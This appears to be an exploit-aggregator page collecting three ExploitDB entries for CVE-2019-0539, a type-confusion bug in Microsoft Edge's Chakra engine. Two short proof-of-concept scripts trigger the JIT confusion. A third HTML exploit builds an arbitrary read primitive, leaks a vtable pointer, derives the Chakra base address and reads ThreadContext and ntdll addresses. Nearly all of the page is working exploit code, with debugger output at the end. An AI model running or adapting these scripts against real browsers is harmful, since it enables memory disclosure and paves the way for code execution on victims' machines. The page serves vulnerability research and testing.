Exploits for CVE-2019-0539 | Appaloosa Scout

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra - 'InitClass' Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*

Issue description

This is similar to  issue 1702 (https://www.exploit-db.com/exploits/46203) . This time, it uses an InitClass instruction to reach the SetIsPrototype method.

PoC:
*/

function opt(o, c, value) {
    o.b = 1;

    class A extends c {

    }

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o;

    opt(o, cons, 0x1234);

    print(o.a);
}

main();

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra - 'NewScObjectNoCtor' or 'InitProto' Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code txt

NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234.

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
    o.b = 1;

    new cons();

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        cons.prototype = {};

        let o = {a: 1, b: 2};
        opt(o, {});
    }

    let o = {a: 1, b: 2};

    cons.prototype = o;

    opt(o, 0x1234);

    print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();

ExploitDB dos windows

Source

Microsoft Edge Chakra 1.11.4 - Read Permission via Type Confusion

By Fahad Aid Alharbi

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<html>
<script>

/*
# Exploit Title: [getting Read permission through Type Confusion]
# Date: [date]
# Exploit Author: [Fahad Aid Alharbi]
# Vendor Homepage: [https://www.microsoft.com/en-us/]
# Version: [Chakra 1_11_4] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [cve-2019-0539]
*/
/* author @0x4142 => Fahad Aid Alharbi
 * cve-2019-0539
 * Getting Read &_^
 * date 27 Feb , 2019

*/

var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);

var BASE = 0x100000000;

function hex(x) {
    return `0x${x.toString(16)}`
}

function bytes_to_u64(bytes) {
    return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
                +bytes[4]*0x100000000+bytes[5]*0x10000000000);
}

function i2f(x) {
    u32[0] = x % BASE;

    u32[1] = (x - (x % BASE)) / BASE;



    return f64[0];
}


function f2i(x) {
    f64[0] = x;
    return u32[0] + BASE * u32[1];
}


obj = {}
obj.a = 0x41;
obj.b = 0x42;
obj.c = 0x41;
obj.d = 0x42;
obj.e = 0x40;
obj.f = 0x40;
obj.g = 0x90;
obj.h = 0x90;
obj.i = 0x90;

t = new ArrayBuffer(0x200);
newL = 0x1000;

hax = new ArrayBuffer(0x2000);
read_me = 0;


function hit_to_read(t){

    obj.h = hax; // set ta->buffer to hax
    obj.i = newL; // update target's length
    read_me = new Float64Array(t);

    return read_me;

}

  function read(r,read_me)
    {



        read_me[7] = i2f(r); // setup hax->buffer
        //hax = new ArrayBuffer(0x1000);
        return  hex(f2i(read_me[7]))

    }



function cout(f){return document.write(f);}
function opt(o, c, value) {
   o.c = 1
   //o.a = "HELLO"
  // o.b = 3;
    //o.e = 1
    class A extends c {

    }

    o.a = value // will overwrite rcx , rdx , rax
    //o.b = value => chakra!Js::RecyclableObject::HasOnlyWritableDataProperties+0xe:
    //o.b = 0x42424242
    o.c = 555555
   // o.d = 4

}


function pwn() {

    for (let i = 0; i < 0x1000; i++) {
        let o = {a: 1, b: 2,c:3};
        opt(o, (function () {}), {});
    }

    let o = {a: 2222, b: 2,c:4,d:5};
    let cons = function () {};

    cons.prototype = o;
    /* line 120
                        auxSlots *p
    __Vfptr | type | 0x00000001234     | 0x0
    */

    opt(o, cons, obj);


    o.f = t

    read_me = hit_to_read(t);

    cout("[+] vtable pointer is " + hex(f2i(read_me[0])));
    vtable = hex(f2i(read_me[0]));

    buffer_addr = f2i(read_me[7]);

    Chakrabase = hex(vtable  - 0x59a3c0)

   cout("<br>")
   cout("[+] ChakraBase : " + Chakrabase)


    cout("<br>buffer_addr: " + read(buffer_addr + 40 , read_me))

    ThreadContext = read(Chakrabase - 0xffec5448,read_me)
    Ntdll = read(Chakrabase - 0xdd9a0000,read_me)
    cout("<br>")
    cout("[+] ThreadContext : " + ThreadContext)
    cout("<br>")
    cout("[+] Ntdl : " + Ntdll)


}

pwn();


/*

s=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
chakra!Js::SimpleDictionaryTypeHandlerBase<unsigned short,Js::PropertyRecord const * __ptr64,0>::GetPropertyFromDescriptor<0>+0x59:
00007ffc`d61f4109 4c8b14c8        mov     r10,qword ptr [rax+rcx*8] ds:00010000`41414141=????????????????





*/

/*

s=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
chakra!Js::SimpleDictionaryTypeHandlerBase<unsigned short,Js::PropertyRecord const * __ptr64,0>::GetPropertyFromDescriptor<0>+0x59:
00007ffc`d61f4109 4c8b14c8        mov     r10,qword ptr [rax+rcx*8] ds:00010000`41414141=????????????????





*/
</script></html>